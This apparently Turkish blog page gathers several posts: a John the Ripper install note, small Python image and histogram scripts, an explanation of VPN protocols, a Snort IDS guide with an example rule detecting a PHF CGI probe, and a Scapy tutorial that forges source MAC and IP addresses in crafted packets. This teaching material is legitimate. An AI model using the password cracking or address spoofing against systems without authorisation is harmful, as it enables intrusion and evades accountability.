Welcome to My Blog 👋

Java, Spring Framework, Microservices, Docker, Kubernetes, AWS and Others 🚀
Follow Me

Özgür bir parola çözme yazılım aracıdır. Parola çözücüleri tek paket içinde bir araya getiren, parola test eden ve çözen en popüler programlardan biridir.

John The Ripper Password Cracker  Kurulumu
  • sudo apt-get install john
komutu ile kurulum gerçekleştirilir.

Histogram

# coding: utf-8

# In[93]:

import numpy as np

myNumbers = np.random.randint(0,2,10)
myHistogram = {}
myNumbers # siyah beyaz resim olacak

for number in myNumbers:
    if number in myHistogram.keys():
        myHistogram[number]=myHistogram[number]+1
    else:
        myHistogram[number]=1
myNumbers, myHistogram
# histogram da iki değer olmalı
# bunların oranı yazı-matbaa çıktısı için % kaçtır

Sanal özel ağ (VPN), uzaktan erişim yoluyla farklı ağlara bağlanmayı sağlayan internet teknolojisidir. VPN sanal bir ağ uzantısı oluşturduğu için, VPN kullanarak ağa bağlanan bir cihaz, fiziksel olarak bağlıymış gibi o ağ üzerinden veri alışverişinde bulunabilir. Kısacası Virtual Private Network (VPN), İnternet ya da başka bir açık ağ üzerinden özel bir ağa bağlanmayı sağlayan bir bağlantı çeşididir. VPN üzerinden bir ağa bağlanan kişi, o ağın fonksiyonel, güvenlik ve yönetim özelliklerini kullanmaya da devam eder. VPN'in en önemli iki uygulaması OpenVPN ve IPsec'dir.

VPN istemcisi, İnternet üzerinden bağlantı kurmak istediği kaynakla sanal bir noktadan-noktaya (point-to-point) bağlantı kurar, kaynak ya da uzaktan erişime geçmek istediği sunucu kimlik bilgilerini kontrol eder ve doğrulama sonrasında VPN istemcisiyle uzaktan erişime geçtiği sunucu arasında veri akışı gerçekleşir. Veriler, akış sırasında noktadan-noktaya bağlantı gibi üst bilgi kullanılarak kapsüllenir. Üst bilgi, verilerin bitiş noktasına erişimleri için paylaşılan veya ortak ağ üzerinden yönlendirme bilgileri sağlar. Özel ağ bağlantısını taklit etmek için, gönderilen veriler gizlilik amacıyla şifrelenir. Paylaşılan veya ortak ağda ele geçirilen paketlerin şifreleri, şifreleme anahtarları olmadan çözülemez. Özel ağ verilerinin kapsüllendiği ve şifrelendiği bağlantı VPN bağlantısı olarak bilinir.

İki çeşit VPN bağlantısı vardır. İlki uzaktan erişim VPN, diğeri ise siteden siteye VPN’dir.

VPN Bağlantı Çeşitleri
  • Uzaktan Erişim VPN: Uzaktan erişim VPN bağlantıları, evinde çalışan ya da seyahat esnasında ofisinde olamayan kullanıcıların İnternet üzerinden özel ağ üzerindeki sunucuya erişme imkânı sağlar. VPN, istemcisiyle uzaktan erişim sunucusu arasında noktadan noktaya bir bağlantıdır. Ayrıca veriler özel bir ağ üzerinden gönderiliyormuş gibi görünmektedir. Bu yüzden ortak ağın gerçek alt yapısı önemli değildir.
  • Siteden siteye VPN: Siteden siteye VPN bağlantıları farklı ofisler arasında veya farklı kuruluşlar arasında ortak bir ağ üzerinden güvenli bir şekilde iletişimi sağlamaz. VPN bağlantısı WAN (Wide Area Network) bağlantısı gibi çalışır. WAN bağlantısı şehirler, ülkeler gibi uzun mesafeler arasında iletişimi sağlayan ağ çeşididir. Ağlar, İnternet üzerinden verileri bir yönlendirici ile başka bir yönlendiriciye iletir. Yönlendiricilere göre VPN bağlantısı, veri bağlantısı olarak işlev görmektedir.
Siteden Siteye VPN bağlantısı özel bir ağın iki bölümünü birbirine bağlar. VPN sunucusu, bağlı olduğu ağa bağlantı sunarken, yanıtlayan diğer sunucu ya da yönlendirici (VPN sunucusu), yanıtlayan yönlendiricinin (VPN istemcisi) kimlik bilgilerini doğrular. Karşılıklı doğrulama sağlanır. Ayrıca siteden siteye VPN bağlantısı üzerindeki iki sunucunun gönderdikleri veri transferlerinin başlangıç noktaları tipik olarak yönlendiriciler veya sunucular değillerdir.

VPN Bağlantılarının Özellikleri

PPTP, L2TP/Ipsec ve SSTP kullanan VPN bağlantılarının 3 önemli özelliği kapsülleme, kimlik doğrulama ve son olarak ise veri şifrelemedir.
  • Kapsülleme: VPN ağında veriler bir üst bilgi ile kapsüllenirler. Üst bilgi, verilerin bitiş noktalarına erişmeleri için, paylaşılan veya ortak ağ üzerinden çapraz geçebilmelerine olanak veren yönlendirme bilgileri sağlar. 
  • Kimlik doğrulama: Ağa erişmeye çalışan kişinin buna yetkili olup olmadığı, dışarıdan müdahale edilemeyecek şekilde, yani şifreli olarak HTTPS protokolü ile yapılır ve izini olanlar ağa alınır. 
  • Veri şifreleme: Veriler de dışarıdan ağdan geçen bilgileri dinleyenlerin çözümleyemeyeceği biçimde şifrelenerek dışarıdakiler için anlaşılmaz hâle getirilir.
Kapsülleme

VPN teknolojisinde özel veriler, geçiş ağını çapraz geçmelerine izin verecek yönlendirme bilgilerini içeren bir üst bilgiyle kapsüllenir.

Tünel oluşturma, bir protokol türündeki paketin başka bir protokol datagramı içinde kapsüllenmesini sağlar. Örneğin, VPN, IP paketlerini Internet gibi ortak bir ağ üzerinden kapsüllemek için PPTP'yi kullanır. Noktadan Noktaya Tünel Protokolü (PPTP), Katman İki Tünel Protokolü (L2TP) veya Güvenli Yuva Tünel Protokolü'ne (SSTP) dayalı bir VPN çözümü yapılandırılabilir.

PPTP, L2TP ve SSTP protokolleri büyük ölçüde, orijinal olarak Noktadan Noktaya Protokolü (PPP) için belirlenen özellikleri esas alır. PPP çevirmeli veya adanmış noktadan noktaya bağlantılar üzerinden veri göndermek için tasarlanmıştır. IP kullanımında, PPP, IP paketlerini PPP çerçeveleri içinde kapsüller ve ardından kapsüllenen PPP paketlerini noktadan noktaya bir bağlantı üzerinden aktarır. PPP orijinal olarak çevirmeli istemci ve ağ erişimi sunucusu arasında kullanılacak protokol olarak tanımlanmıştır.

Kimlik Doğrulama

VPN bağlantılarında kimlik doğrulama üç farklı biçimde yapılır:

PPP kimlik doğrulama kullanılarak kullanıcı düzeyinde kimlik doğrulama
VPN bağlantısı oluşturmak için, VPN sunucusu bağlanmayı deneyen VPN istemcisinin kimliğini, Noktadan Noktaya Protokolü (PPP) kullanıcı düzeyinde kimlik doğrulama yöntemi kullanarak doğrular ve VPN istemcisinin uygun yetkilendirmeye sahip olduğunu onaylar. Karşılıklı kimlik doğrulama kullanılırsa, VPN istemcisi de VPN sunucusunun kimliğini doğrular; bu şekilde kendilerini VPN sunucuları gibi tanıtan bilgisayarlara karşı koruma sağlanır.

Internet Anahtar Değişimi (IKE) kullanarak bilgisayar düzeyinde kimlik doğrulama

Internet Protokolü güvenliği (IPsec) güvenlik ilişkisi oluşturmak üzere VPN istemcisi ve VPN sunucusu, bilgisayar sertifikaları veya önceden paylaşılan bir anahtar değişimi için IKE protokolünü kullanır. Her iki durumda da VPN istemcisi ve sunucusu, birbirlerinin kimliklerini bilgisayar düzeyinde doğrular. Bilgisayar sertifikası kimlik doğrulaması çok daha güçlü bir kimlik doğrulama yöntemi olduğundan daha fazla önerilir. Bilgisayar düzeyinde kimlik doğrulama yalnızca L2TP/IPsec bağlantıları için uygulanır.

Veri kaynağı için kimlik doğrulama ve veri bütünlüğü

VPN bağlantısı üzerinden gönderilen verinin, bağlantının diğer ucundan gönderilmiş olduğunu ve aktarım sırasında değiştirilmediğini onaylamak için, veride yalnızca gönderenin ve alanın bildiği bir şifreleme anahtarına dayalı şifreleme sağlama toplamı bulunur. Veri kaynağı için kimlik doğrulama ve veri bütünlüğü yalnızca L2TP/IPsec bağlantılarında kullanılabilir.

Veri şifreleme

Veriler, paylaşılan veya ortak geçiş ağından çapraz geçer ve gizliliğin sağlanması için gönderici tarafından şifrelenir. Daha sonra bu şifreler, alan tarafından çözümlenir. Şifreleme ve alan tarafından şifre çözme işlemi, göndericinin ve alanın kullandığı şifreleme anahtarına bağlıdır.

VPN bağlantısı üzerinden veri transferi yapıldığında şifreleme anahtarı olduğu için bilgiler ele geçirilse bile dışarıdaki için bir anlam ifade etmez. Ayrıca şifreleme anahtarının uzunluğu da güvenlik anlamında önemli bir faktördür. Çünkü şifreleme anahtarını belirlemek adına hesaplama işlemleri yapıldığında bu tür metotlar, şifreleme anahtarı büyüdüğünde daha uzun hesaplama zamanı alır. Bu yüzden güvenliği sağlamak adına, yani veriyi mümkün olduğu kadar gizli tutmak amacıyla şifreleme anahtarını mümkün olan en büyük boyutta seçmek veya kullanmak önemli bir faktördür.

VPN Tünel Protokolleri

Tünel oluşturma, bir protokol türündeki paketin başka bir protokol datagramı içinde kapsüllenmesini sağlar. Örneğin, VPN, IP paketlerini Internet gibi ortak bir ağ üzerinden kapsüllemek için PPTP'yi kullanır. Noktadan Noktaya Tünel Protokolü (PPTP), Katman İki Tünel Protokolü (L2TP) veya Güvenli Yuva Tünel Protokolü'ne (SSTP) dayalı bir VPN çözümü yapılandırılabilir.

PPTP, L2TP ve SSTP protokolleri büyük ölçüde, orijinal olarak Noktadan Noktaya Protokolü (PPP) için belirlenen özellikleri esas alır. PPP çevirmeli veya adanmış noktadan noktaya bağlantılar üzerinden veri göndermek için tasarlanmıştır. IP kullanımında, PPP, IP paketlerini PPP çerçeveleri içinde kapsüller ve ardından kapsüllenen PPP paketlerini noktadan noktaya bir bağlantı üzerinden aktarır. PPP orijinal olarak çevirmeli istemci ve ağ erişimi sunucusu arasında kullanılacak protokol olarak tanımlanmıştır.

PPTP

PPTP, birden çok protokol trafiğinin şifrelenmesini ve ardından IP ağı veya Internet gibi ortak IP ağı üzerinden gönderilmek üzere bir IP üst bilgisi ile kapsüllenmesini sağlar. PPTP uzaktan erişim ve siteden siteye VPN bağlantıları için kullanılabilir. Internet, VPN için ortak ağ olarak kullanıldığında, PPTP sunucusu, biri Internet üzerinde diğeri de intranet'te bulunan iki arabirime sahip PPTP etkin bir VPN sunucusudur.

PPTP, ağ üzerinden aktarım yaptığında PPP çerçevelerini IP datagramları içerisinde kapsüller. PPTP, tünel yönetimi için Genel Yönlendirme Kapsüllemesi‘nin (GRE) değiştirilmiş bir sürümünü kullanır. Ayrıca kapsüllenen PPP çerçeveleri şifrelenebilir veya sıkıştırılabilir.

PPP çerçevesi, MS-CHAPv2 veya EAP-TLS kimlik doğrulama işlemiyle oluşturulan şifreleme anahtarları kullanılarak, Microsoft Noktadan Noktaya Şifreleme (MPPE) ile şifrelenir. PPP çerçeve yüklerinin şifrelenebilmesi için, sanal özel ağ istemcilerinin MS-CHAP v2 veya EAP-TLS kimlik doğrulama protokolünü kullanması gerekir. PPTP, temeldeki PPP şifrelemesinden ve önceden şifrelenen PPP çerçevesinin kapsüllenmesinden yararlanır.

L2TP

L2TP birden çok protokol trafiğinin şifrelenmesini ve ardından IP veya zaman uyumsuz aktarım modu (ATM) gibi noktadan noktaya datagram teslimini destekleyen herhangi bir medya üzerinden gönderilmesini sağlar. L2TP, Cisco Systems, Inc. tarafından geliştirilen, PPTP ve Katman İki İletme (L2F) protokollerinin birleşiminden oluşan bir teknolojidir. L2TP, PPTP ve L2F'nin en iyi özelliklerini alır.

PPTP'nin aksine, Microsoft'un L2TP uygulaması, PPP datagramlarının şifrelenmesinde MPPE'yi kullanmaz. L2TP, şifreleme hizmetleri için Aktarım Modunda Internet Protokolü güvenliğine (IPsec) dayanır. L2TP ve IPsec'in birleşimi L2TP/IPsec olarak bilinir.

L2TP/IPsec paketlerinin kapsüllenmesi iki katmandan oluşmaktadır. Birinci katman, PPP çerçevesi L2TP ve UDP üst bilgisiyle sarılmaktadır. İkinci katman ise Ipsec güvenlik yükü dediğimiz (ESP) üst bilgi ve alt bilgi olmak üzere iletiyi ve kimlik doğrulamayı destekleyen Ipsec kimlik doğrulama alt bilgisi ve IP üst bilgisiyle sarılır. IP üst bilgisinde VPN sunucusuna karşılık gelen IP adresi yer almaktadır.

SSTP

Güvenli Yuva Tüneli Protokolü (SSTP), 443 numaralı TCP bağlantı noktası üzerinden HTTPS protokolünü kullanan yeni bir tünel protokolüdür ve trafiğin güvenlik duvarlarından ve PPTP ile L2TP/IPsec trafiğini engelleyebilen Web proxy'lerden geçirilmesini sağlar. SSTP, PPP trafiğini HTTPS protokolünün Güvenli Yuva Katmanı (SSL) kanalı üzerinde kapsüllemek için bir mekanizma sağlar. PPP'nin kullanılması, EAP-TLS gibi etkili kimlik doğrulama yöntemlerinin desteklenmesine olanak sağlar. SSL, gelişmiş anahtar anlaşması, şifreleme ve bütünlük denetimi kullanarak aktarma düzeyinde güvenlik sağlar.

Bir istemci SSTP tabanlı VPN bağlantısı oluşturmaya çalışırsa, SSPT ilk olarak, SSTP sunucusunda çift yönlü bir HTTPS katmanı oluşturur. Protokol paketleri bu HTTPS katmanı üzerinden veri yükü olarak geçer.

Tünel Protokolleri Arasında Seçim Yapma

PPTP, L2TP/Ipsec ve SSTP ile VPN çözümlerinde dikkat edilmesi gereken hususlar:
PPTP, Microsoft işletim sistemleriyle birlikte (Microsoft 2000, WindowsXP, Windows Vista vb.) ve aynı zamanda farklı Microsoft istemcileriyle kullanılabilir. PPTP, L2TP/Ipsec gibi ortak anahtar altyapısı (PKI) kullanımını gerektirmez. Bunun üzerine PPTP, veri akışındaki güvenliği sağlar, yani veri bir başkasının eline geçtiğinde şifreleme anahtarı olmadan ulaşılamaz. Fakat veriler, PPTP tabanlı VPN bağlantılarının akış sırasıda verilerin değişimi konusunda ve kimlik doğrulama, yani veriyi gönderen kişinin yetkili kullanıcı olup olmadığı konularında kanıt sağlayamaz.
L2TP/Ipsec, sadece Microsoft 2000, Windows XP ve Windows Vista ve üstü çalıştıran bilgisayarlarla kullanılabilir. L2TP/Ipsec, kimlik doğrulama yöntemi için önceden paylaşılan anahtarları veya bilgisayar sertifikalarını sağlar. Kimlik doğrulama kısımında bilgisayar sertifikalarını sağlamak için PKI’ya başvurur. L2TP/Ipsec, VPN bağlantıları kimlik doğrulama, veri gizliliği ve veri bütünlüğü için IPsec'i kullanır.
SSTP, Windows Vista Service Pack 1 (SP1) veya Windows Server 2008 ve üstü işletim sistemleriyle çalışan bilgisayarlarda kullanılır. SSTP VPN bağlantılarında SSL kullanılarak veri gizliliği, kimlik doğrulaması ve veri bütünlüğü sağlanır.

Ayrıca, bu üç tünel türünde de kimlik doğrulama, İnternet Protokolü sürüm 4 (Ipv4) ve İnternet Protokolü 6 (Ipv6) antlaşması ve ağ erişim koruması (NAP) gibi PPP özellikleri, bu üç tünelde de değişmez bir kıstastır.


# coding: utf-8

# In[5]:

import numpy as np
import matplotlib.pyplot as plt
im1=[[1,0],[0,0]]
im2=[[0,1],[0,0]]
im3=[[0,0],[1,0]]
im4=[[0,0],[0,1]]
em1=[[0,1],[1,1]]
em2=[[1,0],[1,1]]
em3=[[1,1],[0,1]]
em4=[[1,1],[1,0]]
im1 = [im1, im2, im3, im4]
em1 = [em1, em2, em3, em4]

img1 = plt.imread("t.jpg")
img1
plt.imshow(img1, plt.cm.binary)
plt.show()
img1.ndim
img1.shape

def count_internal_mask(image):
    counter_internal = 0
    for mask in im1:
        counter_internal = counter_internal + count_mask(image, mask)
    return counter_internal
def count_external_mask(image):
    counter_external = 0
    for mask in em1:
        counter_external = counter_external + count_mask(image, mask)
    return counter_external
def count_mask(image, mask):
    counter = 0
    m = img1.shape[0]
    n = img1.shape[1]
    for i in range(m-1):
        for j in range(n-1):
            a = b = c = d = False
            if(img1[i,j][0] == mask[0][0]):
                a = True
            if (img1[i,j+1][0] == mask[0][1]):
                b = True
            if (img1[i+1,j][0] == mask[1][0]):
                c = True
            if (img1[i+1,j+1][0] == mask[1][1]):
                d = True
            if (a and b and c and d):
                counter = counter + 1
    return counter

c1 = count_internal_mask(img1)
c2 = count_external_mask(img1)

c1, c2


# In[ ]:

Snort, 1998 yılında Martin Roesch tarafından geliştirilmiş bir ağ sızma tespit/engelleme sistemidir. GNU lisansı ile dağıtılan, açık kaynak kodlu ve ücretsiz bir yazılımdır. Yazılım, çeşitli Linux dağıtımları, Windows ve MAC gibi pek çok işletim sistemi üzerinde çalıştırılabilmektedir. Snort yazılımını temel alarak grafik arayüz desteği ile çalışacak şekilde geliştirilen bağımsız şirket yazılımları da mevcuttur. Bu yazılımlar yönetim, raporlama, günlükleme (loglama) gibi işlevleri yerine getirmektedir.

Snort'un mimarisi performans, basitlik ve esnekliğe dayalıdır. Snort IP ağları üzerinde gerçek zamanlı trafik analizi ve paket loglaması yapabilen bir yazılımdır. Yazılım protokol analizi, içerik tarama/eşleme yapabildiği gibi, arabellek taşması, port taraması, CGI saldırısı, işletim sistemi parmakizi denemesi gibi pek çok saldırı ve zararlı/şüpheli yazılım çeşidini tespit edebilmektedir. Snort üzerinden geçen trafiği tanımlamak için kullanıcı tarafından da tanımlanabilen esnek kural dilini kullanır; bunun yanı sıra modüler takma-program (plug-in) mimarisini kullanan tespit motoru da bulunmaktadır. Snort'un gerçek zamanlı alarm mekanizması vardır. Bu mekanizma Windows istemcilerine WinPopup pencereleri çıkarabilir, Linux türevlerinde alarm mekanizmalarını syslog'a dahil edebilir, ya da özelleştirilmiş günlük dosyasında alarmları biriktirebilir.

Snort mimarisinin 3 temel bileşeni vardır: paket çözücü, tespit motoru ve günlükleme/alarm altsistemi. Snort temel olarak uygulama seviyesine kadar tüm katmanlardaki veriye bakar ve bu veri içerisinden belirli trafiği toplar; kullanıcı ya da geliştirici tarafından tanımlanabilen kural setlerini uygulayarak bulduklarını değerlendirir.

Snort temelde 3 ayrı modda çalışabilecek şekilde yapılandırılabilir:

Paket İzleyici modu (packet sniffer): Bu mod tcpdump paket izleyici programı gibi basit bir şekilde ağdan paketleri okuyup sürekli bir şekilde konsola akıttığı moddur. Konut satırında
  • ./snort -v
şeklinde çalıştırılabilir; bu şekilde sadece TCP paket başlık bilgilerini ekrana basar.

Paket Günlükleme modu (packet logger): paketleri diske yazar. Komut satırında
  • ./snort -dev -l ./log
komutu ile çalıştırılabilir. Burada TCP paket başlık ile birlikte paket bilgilerini de kaydeder ve /log dizinine günlükler.

Ağ Sızma Tespit/Engelleme Sistemi modu (NIDS/NIPS): Snort'un en karmaşık ve yapılandırılabilir modudur. Snort bu modda temel olarak trafiği analiz edip kullanıcı tarafından tanımlanabilen bir kural seti ile gördüklerine karşı çeşitli eylemler gerçekleştirebilir. Örneğin komut satırında
  • ./snort -dev -l ./log -h 192.168.1.0/24 -c snort.conf
ile çalıştırıldığında snort temel bir NIDS olarak çalışır ve snort.conf dosyasındaki kural seti uyarınca işlem yapar. Eğer snort "inline" modda çalıştırılırsa (./snort -Q) snort IPS olarak davranır ve drop paket düşürme (drop) kurallarını da devreye alır.

Kuralları Yazmak

Snort kuralları basit bir şekilde yazılabilmesine rağmen zararlı/şüpheli trafiği tespit etmede oldukça başarılıdır.

Snort kuralları mantıksal olarak iki kısma ayrılmaktadır: kural başlığı ve kural opsiyonları. Kural başlığı kural eylemini, protokolü, kaynak IP adresi, hedef IP adresi, alt ağ maskeleri ile kaynak ve hedef port bilgilerini içerir. Kural opsiyonu ise kural eylemi takınılacaksa paketin hangi kısımlarının inceleneceğini belirler. Kural eylemi 8 şekilde olabilir:
  • Pass (Geçir): Paketi basit bir şekilde geçirilir
  • Log (Günlükle): Günlükleme rutini kullanıcı tarafından ne tanımlandı ise tam paket olarak kaydedilir.
  • Alert (Alarm): Kullanıcı tarafından belirlenen metotla bir olay bildirisi yaratır ve tüm paketi günlükler.
  • Activate (Etkinleştir): Alarm ver ve ardından başka bir dinamik kuralı etkinleştirir.
  • Dynamic (Dinamik): Bir etkinleştir kuralı etkinleştirinceye kadar boşta kalır, sonra günlükle olarak çalışır.
  • Drop (Düşür): Paketi düşür ve günlükler.
  • Reject (Reddet): Paketi engeller, günlükler, protokol TCP ise TCP yeniden başlat (TCP reset)ya da ICMP port erişilemez mesajı yollar.
  • Sdrop (Günlüklemeden Düşür): Paketi düşürür ve günlüklemez.

Örnek Bir Snort Kuralı

Aşağıda örnek olarak bir alarm kuralı gösterilmiştir:
  • alert tcp any any ? 10.1.1.5 80 (content: "cgi-bin/phf" ; msg "PHF probe!";)
Örnek kuralımızı detaylı olarak inceleyelim:
  • alert - kural eylemi: alarm ver
  • tcp - protokol
  • any - kaynak IP, herhangi bir IP adresinden
  • any - kaynak port, herhangi bir porttan
  • 10.1.1.5 - hedef IP adresi
  • 80 - hedef port 
  • content: -"cgi-bin/phf" - mesaj içeriğinde "cgi-bin/phf" var ise
  • msg "PHF probe!" - PHF probe! Alarmı ver.Kural setleri periyodik olarak Snort geliştirici grup tarafından Snort resmi web sitesinden yayınlandığı gibi, kurallar kullanıcılar tarafından da oluşturulabilmektedir.

Snort Kurulumu

Snort kurulumunu gerçekleştirmeden önce Snort'un düzgün çalışması için bir takım paketlerin kurulması gereklidir.
  • # apt-get update
  • # apt-get install -y build-essential
  • # apt-get install -y libpcap-dev libpcre3-dev libdumbnet-dev
  • # apt-get install -y bison flex
  • # apt-get install -y zlib1g-dev
komutları ile gerekli kurulumları gerçekleştirelim.
  • # wget https://www.snort.org/downloads/snort/daq-2.0.6.tar.gz
komutu ile Snort'un kullandığı ağ kütüphanesi olan Daq kütüphanesini indirelim.
  • # tar -xvzf daq-2.0.6.tar.gz
  • # cd daq-2.0.6
  • # ./configure
  • # make
  • # make install
komutları ile Daq kütüphanesini kuralım.
  • # wget https://www.snort.org/downloads/snort/snort-2.9.7.6.tar.gz
komutu ile Snort'u indirelim.
  • # cd ..
  • # tar -xvzf snort-2.9.7.6.tar.gz
  • # cd snort-2.9.7.6
  • # ./configure --enable-sourcefire
  • # make
  • # make install
komutları ile Snort'u kuralım.

Not! Snort'un en güncel sürümü için https://www.snort.org/ sitesini ziyaret edebilirsiniz.

Scapy, network ağları için özelleştirilmiş paketler üretmeye yarayan python ile yazılmış bir kütüphanedir. Scapy ile aynı zamanda network tarama ve analiz işlemleri yapabiliriz. Scapy python ile yazıldığı için ilgili uygulamalar kuruluğu zaman (python, nmap, Vpython, pcap v.b) Windows ve Linux sistemler ile komut satırından sorunsuz bir şekilde çalışır, platform bağımlılığı yoktur. Scapy’i diğer programlardan (nmap, hping v.s) ayıran özelliği esnek bir yapıya sahip olmasıdır. Esnek yapıdan kastımız ise bu programlar size tasarımcısının sunduğu özellikleri kullanmanızı sağlarken, scapy ile bunların yanında kendi ihtayıcınıza özel TCP/IP paketlerini oluşturarak bu paketler ile networkünüzü analiz edebilirsiniz. ARP paketleri oluşturarak sisteminize arpspoofing testleri yapabilirsiniz.

Scapy Kurulumu
  • $ cd /tmp 
  • $ wget --trust-server-names scapy.net       # veya wget -O scapy.zip scapy.net 
  • $ unzip scapy-x.x.x.zip 
  • $ cd scapy 
  • $ sudo python setup.py install
komutları ile kurulum gerçekleştirilir.

Scapy'i Başlatmak
  • Sudo Scapy
komutu ile scapy başlatılır.

Scapy Kullanımı

Öncelikle Scapy’nin Python 2’de çalıştığını bilmemiz gerekmektedir. Yani Python’ın 3.x versiyonları için geliştirilmiş bir kütüphane değildir. Bunu ek bir not olarak belirtmekte fayda var. Scapy’i Python 3.x sürümlerinde de kullanabilmek için Github’da bazı repositoryler mevcut fakat, ne kadar sağlıklı çalışır onu bilemem. Bu sebepten dolayı örneklerimiz hep Python 2.x sürümleri için geçerli olacaktır. Bu bilgiler ışığında lafı daha fazla uzatmadan Scapy kütüphanemizi aşağıdaki gibi import edelim.
  • from scapy.all import *
Bu aşamadan sonra artık Scapy kütüphanemizi programlarımızda kullanabiliriz. İlk olarak herhangi bir paketin nasıl oluşturulup bir değişkene atılabileceğinden ve daha sonra da Scapy’nin bize sağlamış olduğu çeşitli fonksiyonlarından bahsedelim.
Yazının bu aşaması artık tamamen örnekler üzerinden gidecektir.
  • ethernet_frame = Ether()
  • ethernet_frame.show()
Yukarıdaki örnekte ethernet_frame adında bir değişkene Ether() sınıfından bir Ethernet nesnesi oluşturarak Ethernet paketini atamış olduk. Evet cümlenin birazcık tuhaf olduğunun farkındayım, fakat durum tam olarak böyle. Bu değişkenin içeriğine bakmak için ise daha sonra yine Scapy’nin bize sağlamış olduğu bu nesnenin show() metodunu kullandık. Çıktımız ise aşağıdaki gibidir.
###[ Ethernet ]###
  • dst = ff:ff:ff:ff:ff:ff
  • src = xx:xx:xx:cb:ed:cd
  • type = LOOP
gördüğünüz gibi burada dst, src ve type şeklinde üç adet değişken var. İşte biz Scapy’nin bize sağladığı esneklik sayesinde bu değişkenleri istediğimiz gibi değiştirebiliyoruz. Bu da bize farklı farklı network paketleri oluşturup çeşitli toolları geliştirmemize olanak sağlıyor. Burada dst kısmına istediğiniz bir MAC adresini yazıp paketinizi o mac adresine gönderebilirsiniz. Bu paket gönderme kısmının örneklerine de yazının ilerleyen kısımlarında anlatacağım. Şimdi de bu değişkenleri nasıl değiştireceğimize bir bakalım.
  • ethernet_frame = Ether()
  • ethernet_frame.src = "aa:bb:cc:dd:ee:ff"
  • ethernet_frame.show()
Çıktımız ise aşağıdaki gibidir.
###[ Ethernet ]###
  • dst = ff:ff:ff:ff:ff:ff
  • src = aa:bb:cc:dd:ee:ff #değişen kısım
  • type = LOOP
Örnekte de görüldüğü gibi source mac adresi değişkeni, oluşturduğumuz cihazın ağ kartının default mac adresinden farklı olarak bizim atadığımız bir değerledeğişmiştir. Normalde böyle bir durum olmaz, fakat scapy bize bu imkanı sunmuştur. Bu mantıkla bu ethernet frame’nin diğer değerlerini de değiştirebilirsiniz. Fakat bu değerleri protokolün yapısındaki mantığa göre doldurmanız gerekmektedir. Gider mac adresi kısmına IP adresi atarsanız veya başka bir değer atarsanız, o zaman bu paketler düzgün bir şekilde çalışmayacaktır. Şimdi de bir IP paketinin yapısına bakalım.
  • ip_packet = IP()
  • ip_packet = show()
Çıktımız ise aşağıdaki gibidir.
###[ IP ]###
  • version = 4
  • ihl = None
  • tos = 0x0
  • len = None
  • id = 1
  • flags = 
  • frag = 0
  • ttl = 64
  • proto = hopopt
  • chksum = None
  • src = 127.0.0.1
  • dst = 127.0.0.1
  • \options \
Gördüğünüz gibi IP paketinin içindeki tüm değişkenler görülmektedir. Aslında dikkat ederseniz bu değişkenler IP Headerındaki alanların aynısı. Biz burada IP Header’ı içindeki alanları kendi isteğimize göre değiştirme işlemini yapıyoruz. Aşağıdaki örneği inceleyelim.
  • ip_packet = IP()
  • ip_packet.src = "192.168.1.2"
  • ip_packet.dst = "192.168.1.11"
  • ip_packet.ttl = 128
  • ip_packet.show()
Çıktımız ise aşağıdaki gibidir.
###[ IP ]###
  • version = 4
  • ihl = None
  • tos = 0x0
  • len = None
  • id = 1
  • flags = 
  • frag = 0
  • ttl = 128 #Değiştirdiğimiz kısım
  • proto = hopopt
  • chksum = None
  • src = 192.168.1.2 #Değiştirdiğimiz kısım
  • dst = 192.168.1.11 #Değiştirdiğimiz kısım
  • \options \
paketlerin içerisindeki alanların nasıl değiştirildiği mantığını anladığınızı ümmit ediyorum. Scapy’nin desteklediği tüm protokolleri görmek için ls() fonksiyonunu kullanabilirsiniz. Bu fonksiyon sonrası çıkan tüm protokolleri <protokol_adı>.show() şeklinde görüntüleyip, yukarıdaki örneklerde yaptığımız gibi içeriğini değiştirebilirsiniz. Şimdi ise değiştirdiğimiz bu paketleri nasıl göndereceğimizi inceleyelim.

Scapy'de Paket Gönderme ve Veriyi İşleme

Artık bir paketi nasıl manipüle edebileceğimizi biliyoruz, fakat takdir edersiniz ki amacımız sadece bir protokolün içeriğini manipüle etmek değil, aynı zamanda bu manipüle edilmiş paketi göndermektir. Bunun için Scapy bize temel olarak 6 adet fonksiyon kullanma imkanı sağlamıştır. Aşağıda bu fonksiyonları görmekteyiz;
  • send()
  • sendp()
  • sr()
  • sr1()
  • srp()
  • srp1()
işte bu fonksiyonları yazacağımız scriptler içerisinde etkin bir şekilde kullanırsak ve nasıl davrandıklarını bilirsek, çok ama çok önemli bir yol kat etmişiz demektir. Şimdi sırası ile bu fonksiyonları örnekler ile inceleyelim.

send()

Bu fonksiyon sayesinde oluşturduğumuz paketleri cihazımızdaki ethernet kartı veya wireless kartı vasıtası ile iletim ortamına gönderebiliyoruz. Aşağıdaki örneği inceleyelim.
  • send(IP(dst="192.168.10.14", src="192.168.10.62")/ICMP()/"Scapy")
şimdi bu kodu yazıp scriptimizi sudo <programadi>.py olarak çalıştırdığımızda bize şu şekilde bir çıktı verecektir.
  • .
  • Sent 1 packets.
Buradan anlıyoruz ki, kodumuz sağlıklı bir şekilde çalışmış. Aşağıda bu kodun Wireshark ile dinlenmiş hali gözükmektedir.



Tamam buraya kadar her şey güzel fakat, burada syntax açısından biraz farklılıklar var. Kısaca buna değinmekte fayda var. Sadece tek bir protokol yerine birden fazla protokolden oluşan bir network paketini oluşturmak içinTCP/IP protocol yapısını bilmek gerekir. Mesela HTTP isteği sadece HTTP datasından ibaret değildir. Öncelikle bu HTTP datasını kapsülleyen bir TCP datagramı, bu datagramı kapsülleyen IP paketi, IP paketini kapsülleyen bir Ethernet frame’i vardır. Yani yapı şu şekildedir. Ethernet > IP > TCP > HTTP data . Dolayısıyla Scapy’de de paketlerimizi oluştururken bu yapıya dikkat etmemiz gerekmektedir. Örneğimize geri dönecek olursak protokol başlıklarını sırası ile sonuna () koyarak ekledik. Daha sonra / işaretini de kapsülleyici olarak kullandık. Mesela IP() ile ilk olarak IP paketimizin başlığını eklemiş olduk. Daha sonra parametre verme mantığı ile source ve destination adreslerini src ve dst değişkenlerini kullanarak örnekteki gibi değiştirdik. Daha sonra ICMP() ile ICMP başlığını ekledik. Bu ICMP başlığının payload kısmına da verimizi yerleştirdik. Bu kapsülleme işlemlerini de hep / işareti ile yaptık. Tüm bu işlemlerden sonra artık içinde Scapy yazan bir ICMP paketi oluşmuş oldu. Bizim amacımız bu paketi göndermekti. İşte bu paketi de send() fonksiyonumuzun içine yazarak göndermiş olduk. Genel olarak süreç ve yapı bu şekildedir. Gerisi teferruattur. Şimdi aşağıdaki örneğimizi inceleyelim.
